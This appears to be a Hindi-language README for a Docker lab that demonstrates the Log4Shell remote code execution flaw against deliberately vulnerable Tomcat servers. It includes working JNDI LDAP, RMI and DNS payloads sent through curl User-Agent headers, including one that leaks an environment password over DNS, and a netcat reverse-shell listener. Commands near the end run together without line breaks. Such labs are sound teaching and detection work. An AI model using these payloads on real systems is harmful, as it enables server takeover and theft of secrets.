
CVE-2021-44228 Log4Shell के लिए एक Docker आधारित LDAP RCE एक्सप्लॉइट डेमो
पोर्ट 8080 पर डेमो Tomcat 8 सर्वर पर एक कमजोर ऐप (log4shell) तैनात है और सर्वर उपयोगकर्ता-एजेंट हमलों के माध्यम से भी कमजोर है।
इस डेमो में रिमोट एक्सप्लॉइट ऐप https://github.com/kozmer/log4j-shell-poc पर पाए जाने वाले पर आधारित है।
इस डेमो टॉमकैट सर्वर (Tomcat 8.5.3, Java 1.8.0u51) को लॉगिंग के लिए Log4J2 का उपयोग करने के लिए पुन: कॉन्फ़िगर किया गया है - एक गैर-मानक कॉन्फ़िगरेशन।
पोर्ट 8888 पर एक नया Bitnami सर्वर अब उपलब्ध है। इसे भी Log4J2 लॉगिंग के लिए कॉन्फ़िगर किया गया है और यह Tomcat 9.0.55 और OpenJDK 11.0.13 चला रहा है।
Tomcat 9 / Java 11 सर्वर के खिलाफ RMI एक्सप्लॉइट का वर्णन यहां किया गया है: https://www.veracode.com/blog/research/exploiting-jndi-injections-java (Jan 3, 2019) Michael Stepankin द्वारा
डिटेक्शन स्क्रिप्ट उपयोगकर्ता-एजेंट कमजोरियों की जांच करेगी और यह यहां से है: https://gist.github.com/byt3bl33d3r/46661bc206d323e6770907d259e009b6
इस कोड के लिए Docker और Docker Compose की आवश्यकता है।
git clone https://github.com/cyberxml/log4j-poc
cd log4j-poc
# edit docker-compose.yml to addjust the environment variables as needed.
# POC_ADDR is the address of the cve-poc container
# LISTENER_ADDR is the address of the 'nc' listener e.g. the docker host
# The listener IP address is the address of the machine on which you will run the netcat 'nc' listener
# This can be the local IP of the docker hostmachine.
docker-compose build
nc -lv 10.10.10.31 9001docker-compose upadminpassword${jndi:ldap://172.16.238.11:1389/a}nc लिसनर पर कनेक्शन की जाँच करेंnc -lv 10.10.10.31 9001docker-compose upcurl -A "\${jndi:ldap://172.16.238.11:1389/a}" http://10.10.10.31:8080/log4shelldocker-compose upcurl -A "\${jndi:dns://10.10.10.31/\${env:POC_PASSWORD}}" http://10.10.10.31:8888/log4shell/मुझे पिंग टार्गेट के लिए कमांड लाइन आर्ग में समस्या हो रही है। इसलिए आपको स्वयं कंपाइल करना होगा।
docker-compose updocker exec -it log4j-poc_cve-poc_1 /bin/bashcd /home/user/rmi-pocjavac -cp catalina.jar:. RMIServerPOC.javajavac -cp catalina.jar:. RMIServerPOC 127.0.0.1docker-compose upcurl -A "\${jndi:rmi://172.16.238.11:1097/Object}" http://10.10.10.31:8888/python3 log4j_rce_check.py http://10.10.10.31:8080/log4shell --attacker-host 10.10.10.31:11389 --timeout=2